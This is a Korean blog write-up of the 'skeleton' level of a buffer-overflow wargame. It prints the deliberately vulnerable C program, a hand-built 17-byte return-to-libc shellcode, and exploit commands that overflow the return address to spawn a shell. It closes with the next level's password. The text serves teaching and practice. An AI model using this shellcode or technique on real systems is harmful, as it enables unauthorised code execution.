2011. 6. 7. 03:09

⊙ 문제의 소스를 보자)

[vampire@localhost vampire]$ cat skeleton.c

/*

The Lord of the BOF : The Fellowship of the BOF

- skeleton

- argv hunter

*/

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i, saved_argc;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}

   

// argc saver

saved_argc = argc;

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer hunter

memset(buffer, 0, 40);

   

// ultra argv hunter!

for(i=0; i<saved_argc; i++)

memset(argv[i], 0, strlen(argv[i]));

}


1) 환경변수(Environment) 초기화.
2) if문을 통해 argv[1][47] != "\xbf" 체크.
3) argv[1] 길이가 48이하
4) buffer 초기화.
5) Argument 배열 전부 초기화.


 

   

※ Argument 배열이 전부 초기화 되었지만 스택 끝에 프로그램 이름 주소가 남아있다.

   

♧ 이유는 모르겠지만 LEVEL8에 "\x2f"이 없는 쉘코드가 제대로 동작하지 않아

[Return-to-lib 기법을 이용한 쉘코드 생성]을 참조하여 쉘코드를 다시 만들었다.
(이 시스템에서만 사용가능:: 총 17Byte :: exit()를 빼면 12Byte 가능)

.global main

main: 
       push $0x400fbff9          ;# "bin/sh"

       push $0x400391e0        ;# exit

       movl $0x40058ae0, %eax ;# system

       push %eax

       ret


"\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"


 

   

∑ 익스플로잇 작성!

① 사본 생성

# cp skeleton $(echo -en "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3")

② GDB로 RET 주소 찾기.

찾은 RET 주소 :: [ 0xbfffffea ]

③ 사본 삭제후 원본 심볼릭 링크

④ 최종 익스플로잇 작성

./$(echo -en "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3") $(python -c 'print "\xea\xff\xff\xbf"*12')

⑤ ∑xploit

성공!!!


   

※ 사전에 chsh명령 -> bash2로 사전 변경후 재로그인 함.

   

vampire : "music world"

Posted by devanix